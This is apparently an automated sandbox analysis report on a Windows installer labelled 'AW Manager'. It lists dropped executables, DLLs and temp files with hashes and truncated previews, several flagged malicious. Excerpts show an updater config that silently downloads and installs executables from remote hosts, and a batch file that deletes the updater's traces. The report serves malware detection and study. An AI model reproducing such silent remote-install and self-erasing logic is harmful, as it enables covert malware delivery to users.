SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{........................?.........................................................C......C.......C.............C.......Rich............PE..L.....\`.........."!................ZV....................................................@.........................`l......4t..........0........................>..8...p...............................@............... ............................text...O........................... ..`.rdata..............................@..@.data................x..............@....rsrc...0...........................@..@.reloc...>.......@..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Temp\MSI4CE0.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	881064
Entropy (8bit):	6.445970518390351
Encrypted:	false
SSDEEP:	24576:p/NO9Ibn5dhulTll7VFv1/dSYKOC8fE/cod+I++qHfV5xJd9zlY:aKtulJl7VFv1lxKOC8fE/cod+j+qHfV8
MD5:	5A25FB13ED470B77EEFD2EB89CB62C47
SHA1:	3DBE567E3C8C8CD0F7E3C71A2536578EE11BF2A6
SHA-256:	0DCA4854897CA77080C57936AD5C7C6C5F5C656A5785C09C7D2C1D196E4F3336
SHA-512:	2EC64666AD42E955E91378AF855DA59D3BCFB4CC3574BF023DDA878C7D3E3DEC442625DE6E6B0434D1CAF86A525395B04038CF7FDC6C292405D9F19C6F4E9952
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j...............`......`.k........................`......`......`.....................................w............Rich....................PE..L.....\`.........."!................X.....................................................@.........................0...t............................X..............h...p..............................@............................................text...>........................... ..`.rdata..............................@..@.data...L...........................@....rsrc................f..............@..@.reloc...............l..............@..B................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.dat

Download File

Process:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
File Type:	Generic INItialization configuration [v113]
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	5.4895469933362095
Encrypted:	false
SSDEEP:	24:SS69Kqf+rqjOH7kLfSdWS6Wyqf+tPw8LfSdOn:r6l+rfHYLKB6WD+tPw8LKY
MD5:	068B29338F253C6B6F0496409C0E2704
SHA1:	A3882001341579D9F2AC17678D2F5EA5AF13BAD1
SHA-256:	ECC8BCEA44B3BF27C84D448594DF6623BC60D49535FCA10DD0134024A030F30E
SHA-512:	6C44D4A4DF8CFDA581483591A8F73D5B02AF976A3D561F18082939E00F4F0F02A7BCA418C0B95D20189168645CEC74A1E6B87D640043B2B1A4BCCC5910EB5930
Malicious:	false
Reputation:	unknown
Preview:	[v114]..Name=Windows Installer..ServerFileName=v114.exe..State=0..AutoCloseApplication=C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe..Size=4900680..NoGUICommandLineSwitch=/exenoui /qn..Flags=SilentInstall\|NoCache\|Advertises..SHA256=B0E0AC83D5090C359F84AF160AEBA9BB7317D6D64372E4DEE980C7DC23FEFE41..MD5=5dc644e00d9553fc167cb649087b8089..URL=https://dl.likeasurfer.com/updates/v114.exe..ReleaseDate=00/00/0000..RegistryKey=HKUD\Software\AdvancedWindowsManager\Windows Installer\Version..Version=>= 5.0.4..[v113]..Name=Windows Installer..ServerFileName=v113.exe..State=0..AutoCloseApplication=C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe..Size=3635424..NoGUICommandLineSwitch=/exenoui /qn..Flags=SilentInstall\|NoCache\|Advertises..MD5=8cad036c5cfed94d5319a060c488e38f..URL=https://dl.likeasurfer.com/updates/v113.exe..ReleaseDate=00/00/0000..RegistryKey=HKUD\Software\AdvancedWindowsManager\Windows Installer\Version..Version=>= 5.0.3..[Gene

C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe

Download File

Process:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1026936
Entropy (8bit):	6.391700413941365
Encrypted:	false
SSDEEP:	24576:lViYocX3hU49N1frFMDtpen0qZxVzCdUVdjKFoTo:LiYoM6EODtA0qZadUVdjKFoTo
MD5:	F95007206C6B2407FB69748EF7C93612
SHA1:	1B7B10470BCC56823A25274BCC3C4BFBEC76E428
SHA-256:	85CA1094E52A33019BE8EBEE09C580A31D4CAA846A6BE4412C58796BFC0FAB5A
SHA-512:	001975689CB431EC8E79D4A90597E8055DABF8E18C769818646BE7BA7708C57192956E0DC43EE3E25DD302F33246DDC226B5D6A660650878A2031B20E1B52752
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..7(.{d(.{d(.{d..xe&.{d..~e..{dJ..e;.{dJ.xe1.{dJ.~eu.{d...e3.{d..}e).{d..ze..{d(.zd..{d..reU.{d...d).{d..ye).{dRich(.{d........PE..L.....gb.........."..............................@.......................................@.....................................,.......4>..............x....0.......:..p...................@;..........@...............t...<........................text...o........................... ..`.rdata..2...........................@..@.data...D)..........................@....rsrc...4>.......@..................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini

Download File

Process:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	878
Entropy (8bit):	3.73923251766526
Encrypted:	false
SSDEEP:	24:QjUd4z1MO1Ua6d4z1MO1UAfN+LeUflPUBGLkbLdv+YIOw64uG:td82OOd82OzMeUQFbRv/I7v
MD5:	2F60103BA9C4EEBE15A109ABE57939CC
SHA1:	D58B68E3F7298FB8EE6F9B743C9124649029C7A9
SHA-256:	7CAAE15F33A6DAAA6ABB272F13A899ADF0DEDA6C80CE0AAB546C95326B79E923
SHA-512:	2335E5090CA0E5DBCE85C41EA7A51E220EE455AD282BC28FC1C410A1EC955CF797993C8D5A8CC692BDE368B8A9F39196DEB65FAF86CC8D79BA6D0D1E595D4056
Malicious:	false
Reputation:	unknown
Preview:	......[.G.e.n.e.r.a.l.].....R.e.a.l.U.p.d.a.t.e.r.P.a.t.h.=.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.A.W. .M.a.n.a.g.e.r.\.W.i.n.d.o.w.s. .M.a.n.a.g.e.r.\.W.i.n.d.o.w.s. .U.p.d.a.t.e.r...e.x.e.....C.l.i.e.n.t.C.o.n.f.i.g.P.a.t.h.=.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.A.W. .M.a.n.a.g.e.r.\.W.i.n.d.o.w.s. .M.a.n.a.g.e.r.\.W.i.n.d.o.w.s. .U.p.d.a.t.e.r...i.n.i.....S.e.r.v.e.r.C.o.n.f.i.g.P.a.t.h.=.C.:.\.W.i.n.d.o.w.s.\.T.E.M.P.\.c.e.2.d.3.1.3.3.9.c.f.f.f.4.1.b.4.b.6.d.b.9.e.3.2.e.9.3.2.1.8.c.\.W.i.n.d.o.w.s. .U.p.d.a.t.e.r...d.a.t.....U.R.L.=.h.t.t.p.s.:././.a.l.l.r.o.a.d.s.l.i.m.i.t...c.o.m./.u.p.d.a.t.e.s...t.x.t.....r.e.s.t.a.r.t.a.p.p.=.....r.e.s.t.a.r.t.a.p.p.c.m.d.=.....N.o.G.U.I.=.t.r.u.e.....U.n.i.n.s.t.a.l.l.F.i.l.e.P.a.t.h.=.C.:.\.W.i.n.d.o.w.s.\.T.E.M.P.\.{.F.D.B.C.5.8.7.5.-.B.B.A.4.-.4.D.A.5.-.9.0.4.8.-.A.1.9.6.A.2.1.F.E.4.9.A.}.....b.a.t.....

C:\Windows\Temp\shi4BD5.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5038592
Entropy (8bit):	6.043058205786219
Encrypted:	false
SSDEEP:	49152:vVkDvLSkqdbEsuV+ebMh8w+/H8pF/bmlEyGjWvcP1xQ+X7TqVAMPLfQyim8kznsY:2Ll+Mn0WHl9VA2ic/
MD5:	11F7419009AF2874C4B0E4505D185D79
SHA1:	451D8D0470CEDB268619BA1E7AE78ADAE0EBA692
SHA-256:	AC24CCE72F82C3EBBE9E7E9B80004163B9EED54D30467ECE6157EE4061BEAC95
SHA-512:	1EABBBFDF579A93BBB055B973AA3321FC8DC8DA1A36FDE2BA9A4D58E5751DC106A4A1BBC4AD1F425C082702D6FBB821AA1078BC5ADC6B2AD1B5CE12A68058805
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e.D!...!...!...(.V.C...5..."...5...&...5...)...!......5...:...5... ...5...R...5.:. ...5... ...Rich!...................PE..d...p............." .........D...............................................`M.....'.M...`A........................................@.H.L&....I......@K.H.....I..............@M.....`J:.p.......................(....%..............@.......$.H......................text...4B.......D.................. ..`.wpp_sf.....`.......H.............. ..`.rdata...L......N.................@..@.data...hD...PI......*I.............@....pdata........I......2I.............@..@.didat.......0K.......J.............@....rsrc...H....@K.......J.............@..@.reloc.......@M.. ....L.............@..B........................................................................................................................................................................

C:\Windows\Temp\shi4D3B.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4509696
Entropy (8bit):	6.100941182830929
Encrypted:	false
SSDEEP:	49152:jm+XAVAMPLfOyim8iTRxYUOQSfLTZZZ2y38lb7Cjn3mboy4+MT7ujWx/Tl0ng48e:CzVAwiKTOpfLTDQyaNoy787ujWx/TlR
MD5:	F6153E803F1533042AC7E6988237C2C3
SHA1:	DDA81BB8BC8CC14877C9CB9B7C664DEFD81EBB4F
SHA-256:	F42A771D310C762C05A5BE3DE0CFDB9BEC28D3DFCCAEF800C901F551A0DF30ED
SHA-512:	7AE76A4CB58A9929C09B1D6376073268622C74B1E3F0C346AFA7A7829E2EF136CCF091F58CCA28BFE83C665573C23D9DB6AF51A44275DA0CC2CF8C1306ADDBAC
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._.._.._..V.X.=..K..S..K..X..K..W.._.....K..^..K..-..K..D..K.4.^..K..^..Rich_..........................PE..L....+.X...........!.....dA.........P.3.......A....c.........................@E.......E...@A.........................i@.K&..L.A.......B.H.....................D..-......T....................O...... .................A.H....C@......................text.....@.......@................. ..`.wpp_sf.......@.......@............. ..`.data....6....A......hA.............@....idata...1....A..2...nA.............@..@.didat..4.....B.......A.............@....rsrc...H.....B.......A.............@..@.reloc...-....D.......C.............@..B........................................................................................................................................................................................................................

C:\Windows\Temp\shi4DAA.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83128
Entropy (8bit):	6.654653670108596
Encrypted:	false
SSDEEP:	1536:0jIdYoF2CwmzOVStYMAuNWrmaTk++ouMOczT0ud4x41xmPS:0jRoFZwmr+bDk/MOcv0G4sxm
MD5:	125B0F6BF378358E4F9C837FF6682D94
SHA1:	8715BEB626E0F4BD79A14819CC0F90B81A2E58AD
SHA-256:	E99EAB3C75989B519F7F828373042701329ACBD8CEADF4F3FF390F346AC76193
SHA-512:	B63BB6BFDA70D42472868B5A1D3951CF9B2E00A7FADB08C1F599151A1801A19F5A75CFC3ACE94C952CFD284EB261C7D6F11BE0EBBCAA701B75036D3A6B442DB2
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.T...:...:...:.....&.:...9...:...;...:...;...:...:...:...4...:...?...:......:...>...:......:...8...:.Rich..:.................PE..L...Y.............!.........H.......n..............................................;.....@A........................P........B.......`............... ...$...p..........T............................................@...............................text.../........................... ..`.data....!..........................@....idata..H....@......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\shi5E23.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4509696
Entropy (8bit):	6.100941182830929
Encrypted:	false
SSDEEP:	49152:jm+XAVAMPLfOyim8iTRxYUOQSfLTZZZ2y38lb7Cjn3mboy4+MT7ujWx/Tl0ng48e:CzVAwiKTOpfLTDQyaNoy787ujWx/TlR
MD5:	F6153E803F1533042AC7E6988237C2C3
SHA1:	DDA81BB8BC8CC14877C9CB9B7C664DEFD81EBB4F
SHA-256:	F42A771D310C762C05A5BE3DE0CFDB9BEC28D3DFCCAEF800C901F551A0DF30ED
SHA-512:	7AE76A4CB58A9929C09B1D6376073268622C74B1E3F0C346AFA7A7829E2EF136CCF091F58CCA28BFE83C665573C23D9DB6AF51A44275DA0CC2CF8C1306ADDBAC
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._.._.._..V.X.=..K..S..K..X..K..W.._.....K..^..K..-..K..D..K.4.^..K..^..Rich_..........................PE..L....+.X...........!.....dA.........P.3.......A....c.........................@E.......E...@A.........................i@.K&..L.A.......B.H.....................D..-......T....................O...... .................A.H....C@......................text.....@.......@................. ..`.wpp_sf.......@.......@............. ..`.data....6....A......hA.............@....idata...1....A..2...nA.............@..@.didat..4.....B.......A.............@....rsrc...H.....B.......A.............@..@.reloc...-....D.......C.............@..B........................................................................................................................................................................................................................

C:\Windows\Temp\shi5EB1.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83128
Entropy (8bit):	6.654653670108596
Encrypted:	false
SSDEEP:	1536:0jIdYoF2CwmzOVStYMAuNWrmaTk++ouMOczT0ud4x41xmPS:0jRoFZwmr+bDk/MOcv0G4sxm
MD5:	125B0F6BF378358E4F9C837FF6682D94
SHA1:	8715BEB626E0F4BD79A14819CC0F90B81A2E58AD
SHA-256:	E99EAB3C75989B519F7F828373042701329ACBD8CEADF4F3FF390F346AC76193
SHA-512:	B63BB6BFDA70D42472868B5A1D3951CF9B2E00A7FADB08C1F599151A1801A19F5A75CFC3ACE94C952CFD284EB261C7D6F11BE0EBBCAA701B75036D3A6B442DB2
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.T...:...:...:.....&.:...9...:...;...:...;...:...:...:...4...:...?...:......:...>...:......:...8...:.Rich..:.................PE..L...Y.............!.........H.......n..............................................;.....@A........................P........B.......`............... ...$...p..........T............................................@...............................text.../........................... ..`.data....!..........................@....idata..H....@......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\shi743E.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4509696
Entropy (8bit):	6.100941182830929
Encrypted:	false
SSDEEP:	49152:jm+XAVAMPLfOyim8iTRxYUOQSfLTZZZ2y38lb7Cjn3mboy4+MT7ujWx/Tl0ng48e:CzVAwiKTOpfLTDQyaNoy787ujWx/TlR
MD5:	F6153E803F1533042AC7E6988237C2C3
SHA1:	DDA81BB8BC8CC14877C9CB9B7C664DEFD81EBB4F
SHA-256:	F42A771D310C762C05A5BE3DE0CFDB9BEC28D3DFCCAEF800C901F551A0DF30ED
SHA-512:	7AE76A4CB58A9929C09B1D6376073268622C74B1E3F0C346AFA7A7829E2EF136CCF091F58CCA28BFE83C665573C23D9DB6AF51A44275DA0CC2CF8C1306ADDBAC
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._.._.._..V.X.=..K..S..K..X..K..W.._.....K..^..K..-..K..D..K.4.^..K..^..Rich_..........................PE..L....+.X...........!.....dA.........P.3.......A....c.........................@E.......E...@A.........................i@.K&..L.A.......B.H.....................D..-......T....................O...... .................A.H....C@......................text.....@.......@................. ..`.wpp_sf.......@.......@............. ..`.data....6....A......hA.............@....idata...1....A..2...nA.............@..@.didat..4.....B.......A.............@....rsrc...H.....B.......A.............@..@.reloc...-....D.......C.............@..B........................................................................................................................................................................................................................

C:\Windows\Temp\shi74BC.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83128
Entropy (8bit):	6.654653670108596
Encrypted:	false
SSDEEP:	1536:0jIdYoF2CwmzOVStYMAuNWrmaTk++ouMOczT0ud4x41xmPS:0jRoFZwmr+bDk/MOcv0G4sxm
MD5:	125B0F6BF378358E4F9C837FF6682D94
SHA1:	8715BEB626E0F4BD79A14819CC0F90B81A2E58AD
SHA-256:	E99EAB3C75989B519F7F828373042701329ACBD8CEADF4F3FF390F346AC76193
SHA-512:	B63BB6BFDA70D42472868B5A1D3951CF9B2E00A7FADB08C1F599151A1801A19F5A75CFC3ACE94C952CFD284EB261C7D6F11BE0EBBCAA701B75036D3A6B442DB2
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.T...:...:...:.....&.:...9...:...;...:...;...:...:...:...4...:...?...:......:...>...:......:...8...:.Rich..:.................PE..L...Y.............!.........H.......n..............................................;.....@A........................P........B.......`............... ...$...p..........T............................................@...............................text.../........................... ..`.data....!..........................@....idata..H....@......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\{FDBC5875-BBA4-4DA5-9048-A196A21FE49A}..bat

Download File

Process:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	577
Entropy (8bit):	5.203592632567303
Encrypted:	false
SSDEEP:	6:h9BRebN8cxjT4FvKBRebN8cxjT4GLRPRebN8cxjT493Ui1RebN8cxjT4/zmmRebW:OUpjIyIM+vpKTdwbUP
MD5:	B35B8352FA3F8DE71B90AD1A2FE8FC0E
SHA1:	6B103AA0F7620FB2A25A578D2E66F4CF9F35647B
SHA-256:	1CDD342FAAC0264037C64F01520EACB682F04E080719485633195FE5EE8903F8
SHA-512:	392EA4F5C03D9B12AB683B7871B9669EB16F644AAD7B60A48CE0E2C70F8FBD202046EFFC4FC1E1558BEA6C4A5480781B7042FEE73F3BDEDDD6B5AD2796ABBF80
Malicious:	false
Reputation:	unknown
Preview:	@echo off ..del "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini" ..del "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.dat" ..:again ..if not exist "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" goto end ..if exist "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" del "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" ..goto again ..:end ..rmDir "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c" ..del "C:\Windows\TEMP\{FDBC5875-BBA4-4DA5-9048-A196A21FE49A}..bat" \| cls

C:\Windows\Temp\~DF076F90B101E2213C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.3000890348998706
Encrypted:	false
SSDEEP:	96:jpAlTL8eWacUF6C+fjfXfuf9fXiRCgeif8fvMfWco2WG8ifSfrufP:FAlfKay3nxeifuFG8ifsO
MD5:	2C16834BCDCF760B7F886F644C2C4DAF
SHA1:	70FC454427DED72B6F7FCFF29C8D2E7658F9EFAB
SHA-256:	D4AD49E2AE02C28B508A74ED453E66FAF40E4AC4A8C0F44F29DC8786E9D9F527
SHA-512:	7FBB24160C9CFFF7E3CF5D77237E61F5C68E21270EE2DEC05015B669A973AAB3CF46D01A6B84E28F0CB6F87DF3B293A8FCCD6CC70E8CAF272A9A27CCBD77D759
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF115723C52EE67891.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.13490900276357704
Encrypted:	false
SSDEEP:	12:O110i8n0itFzDHFqeY7w0ZobdoZVB+ZWt/:q6F0mlMB7waEdo
MD5:	DD0D6D5A94B2B6DDDD3B485BAD2C41C5
SHA1:	35E6E590EA589392E89CBA01DEFDDC3A90D5C859
SHA-256:	F6512EF0CBDC9FE9ACC237A17E48B28C97D37DD93FDFC8D0593DAFDFBD70E3A9
SHA-512:	DD60C58685CB0DFB58B9AC479250DD7BC16114B4AA31489945CB03F4D9A29383321D962D9FD2D936B36D20C681701A5E58C022A1F158375E0B754C5D90CB3F99
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF137DE7248007EEBA.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF18146BAD54FD3031.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.302877082190169
Encrypted:	false
SSDEEP:	96:gpAlTL8e7acUdffjfnuf9fqRCgyCf2Mfoco2WGQfrfrufx:WAlf3aDPxyZFGQfXw
MD5:	B2B028592AF32EEFE75B918E6B3A2481
SHA1:	DBA71C50BD3248DDB67BC2085D087A4D62839926
SHA-256:	F047C41ED4F3346FAF589D75C9D6136C2C6E1B3D9A5B5776B4FB87073B586C1E
SHA-512:	DDB7A38C4CE289E5834F83DF165047A3CD608F3A9A49D4F61BE668A45A49E9CE0D32FA368B3BD5C36B1D5706CAD9C7CA2C944B196F99E95614B7B2BEAD833509
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2A28BE9773FF3E84.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.3000890348998706
Encrypted:	false
SSDEEP:	96:jpAlTL8eWacUF6C+fjfXfuf9fXiRCgeif8fvMfWco2WG8ifSfrufP:FAlfKay3nxeifuFG8ifsO
MD5:	2C16834BCDCF760B7F886F644C2C4DAF
SHA1:	70FC454427DED72B6F7FCFF29C8D2E7658F9EFAB
SHA-256:	D4AD49E2AE02C28B508A74ED453E66FAF40E4AC4A8C0F44F29DC8786E9D9F527
SHA-512:	7FBB24160C9CFFF7E3CF5D77237E61F5C68E21270EE2DEC05015B669A973AAB3CF46D01A6B84E28F0CB6F87DF3B293A8FCCD6CC70E8CAF272A9A27CCBD77D759
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2E7B20DD9BD99A9B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.2996385317858776
Encrypted:	false
SSDEEP:	96:rmAtBTL8Bfj1KdQ5EsfAcufJRCzyoUDco2WGufrufnRCz6Tf:rVtBfEFEgW/DFGYMZf
MD5:	6993136A01273BD387742F45040B216C
SHA1:	531D9733B94189EB47986E961E465719D04C4425
SHA-256:	56569D153E4454675A4D0D7899ABDE2B51D6AC1121A71EA10BC864C9B4279B94
SHA-512:	DA0C9D7C61F2BD64C3D0696E257A6259B956E3F803BC112BF88D195E1502AC99B8C6E136DE3DC90BECB2A287760E1DAFB39033A5F1148A7AE6E14CA010C1CF38
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF31F3EEB941B48AA7.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.2398122763011443
Encrypted:	false
SSDEEP:	96:t4ZlTL8facUdYfjfXfOacUVRCFQco2WGsfrOacUG:uZlfkaKOaHuQFG+Oa8
MD5:	270C05EF6F07C61D4D695FC19C99A1F4
SHA1:	4C1B871CB536D6CC6C52FF8AD6EAC583106BF022
SHA-256:	AEE07E12760445736E39B10748046956FA1AE688317DE199D0187483C7012D9C
SHA-512:	CB443612FEC18789B583F1EB76D663C65DA58618FFA3ADAE60A9ED10D85A98E7E3CB3B403CB46871090E2C386619A3B777A5BE25D71ED4DE866ACD7A67219A30
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF3362BE6C0FDDC043.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.13514551954728385
Encrypted:	false
SSDEEP:	12:O110i8n0itFzDHFnmTJlblhboOJDS2VB+ZWt/:q6F0mlQllVoOJ2
MD5:	ED02AE22A6C655B6F378641CFAB59BE3
SHA1:	3C2BA22EEA9238CF9F14B7C5D2AE754695EFD746
SHA-256:	0C5B49667A341FA84D5969DA92BD732168F6F7238464D0DE2AE734FF680CF478
SHA-512:	F3D7308ABD27E2D5A4A772C22B5B301D6123C6CA87A7CE16F26EC6F9742B6E33B4D64286ADDDB5D62BF3F678C08F517EDCF92FAFDD2282175C8123806C122ECE
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF36B75AB62BB9304E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	2.0039686451819394
Encrypted:	false
SSDEEP:	96:ihR1vFT4acUdffjfnuf9fqRCgyCf2Mfoco2WGQfrfrufx:e1NEaDPxyZFGQfXw
MD5:	AB8AF97C9582DD4BC61F1D463EE393A0
SHA1:	8EA174187A26F06DEDA541D81383503B90022C80
SHA-256:	CF844D4D1EE2A87F4F83CB96803186F28817267A43E4F127F0EF47276155418B
SHA-512:	D405031BA98B8D13C6DC8F0D30F26E39D58461384844EB8B8F20DE369FFA137871B932B844592FEFD5D3F81537CC5B8815EA4ADB5409DF9750069DF2BF4826C6
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF36D35AF9B625ED49.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF38AAF1875BDDAC9D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.2996385317858776
Encrypted:	false
SSDEEP:	96:rmAtBTL8Bfj1KdQ5EsfAcufJRCzyoUDco2WGufrufnRCz6Tf:rVtBfEFEgW/DFGYMZf
MD5:	6993136A01273BD387742F45040B216C
SHA1:	531D9733B94189EB47986E961E465719D04C4425
SHA-256:	56569D153E4454675A4D0D7899ABDE2B51D6AC1121A71EA10BC864C9B4279B94
